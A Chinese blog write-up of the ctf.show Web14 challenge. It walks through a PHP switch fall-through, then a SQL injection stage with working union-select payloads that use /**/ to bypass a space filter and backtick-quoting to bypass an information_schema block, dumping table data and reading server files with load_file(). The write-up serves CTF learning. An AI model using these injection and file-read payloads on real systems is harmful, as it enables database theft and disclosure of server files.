ShowCtf Web14 --不会编程的崽

时隔一年多,终于再次有机会更新了。24年忙着HVV,在北京HVV结束后呢,回学校忙着找工作,几乎停止了学习,UP运气很好,在这个世道获得了一缕安稳。趁着这次培训抽出时间继续更新。UP很菜,有什么不对的地方,还请指正。

这个题,UP也是被耍的团团转。

php 复制代码
<?php
include("secret.php");

if(isset($_GET['c'])){
    $c = intval($_GET['c']);
    sleep($c);
    switch ($c) {
        case 1:
            echo '$url';
            break;
        case 2:
            echo '@A@';
            break;
        case 555555:
            echo $url;
        case 44444:
            echo "@A@";
            break;
        case 3333:
            echo $url;
            break;
        case 222:
            echo '@A@';
            break;
        case 222:
            echo '@A@';
            break;
        case 3333:
            echo $url;
            break;
        case 44444:
            echo '@A@';
        case 555555:
            echo $url;
            break;
        case 3:
            echo '@A@';
        case 6000000:
            echo "$url";
        case 1:
            echo '@A@';
            break;
    }
}

highlight_file(__FILE__);

找没有break的分支,自然就是3了,访问?c=3即可,得here_1s_your_f1ag.php,继续访问

有一个弹窗,一个查询,多半是sql注入了。查看源代码,发现过滤函数

php 复制代码
if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
		die('@A@');
	}

过滤了information_schema.tables。UP第一时间想到了无列明注入,尝试换表,测试无列明盲注,毛都没有,非常头痛。稍微稍微稍微看了其他UP的文章。

php 复制代码
information_schema.`tables`

写成这样就好了。无语几秒,把这茬整忘了。然后就是按规矩来,明显没有引号闭合,而且是回显注入。上payload。

php 复制代码
-1/**/union/**/select/**/1      //爆出1
-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()    //爆出表名content
-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'   //爆出列名id,username,password
-1/**/union/**/select/**/group_concat(password)/**/from/**/content   //爆出提示flag is not here!,wow,you can really dance,tell you a secret,secret has a secret...

注入了半天,结果不在这,看提示应该在首页提醒的secret.php里。原来是考回显注入读文件。

php 复制代码
-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
//得到提示
<script>alert('<!-- ReadMe -->
<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
	echo file_get_contents('/real_flag_is_here');
}')</script>

别管这个代码了,都说了在这/real_flag_is_here,继续读。这个题很有趣,值得记录。

php 复制代码
-1/**/union/**/select/**/load_file('/real_flag_is_here')
相关推荐
曲幽5 小时前
你的REST接口还在“过度投喂”数据吗?——FastAPI + GraphQL实战避坑指南
python·fastapi·web·graphql·route·cors·rest·strawberry
唐青枫1 天前
MySQL JSON 实战详解:从存储、查询、更新到 JSON_TABLE 与索引
sql·mysql
带刺的坐椅2 天前
Spring Boot → Solon 注解迁移实战指南:一张对照表说清楚
java·springboot·web·solon
掉头发的王富贵3 天前
【StarRocks】极限十分钟入门StarRocks
数据库·sql·mysql
曲幽6 天前
刚部署的 LibreTranslate 频频翻车?我掏出了 20 年前的 StarDict 词典,用 FastAPI 搭了个本地词典翻译 API
python·fastapi·web·translate·goldendict·libretranslate·stardict·pystardict
曲幽7 天前
别再用网页翻译看源码了!你的私人翻译神器LibreTranslate,部署避坑指南来了
python·docker·web·pot·translate·libretranslate·arogstranslate
zzzzzz3108 天前
9K Star 炸裂开源!这个 C 语言写的代码知识图谱,把 Linux 内核索引压缩到了 3 分钟
linux·服务器·sql
云技纵横10 天前
唯一索引 INSERT 死锁实战:5 秒复现交叉插入的 S 锁循环等待
sql·mysql
BD_Marathon12 天前
SQL学习指南——视图
数据库·sql
2601_9620725512 天前
李梦娇常识4600问|题库|打印版
sql·华为od·华为·c#·华为云·.net·harmonyos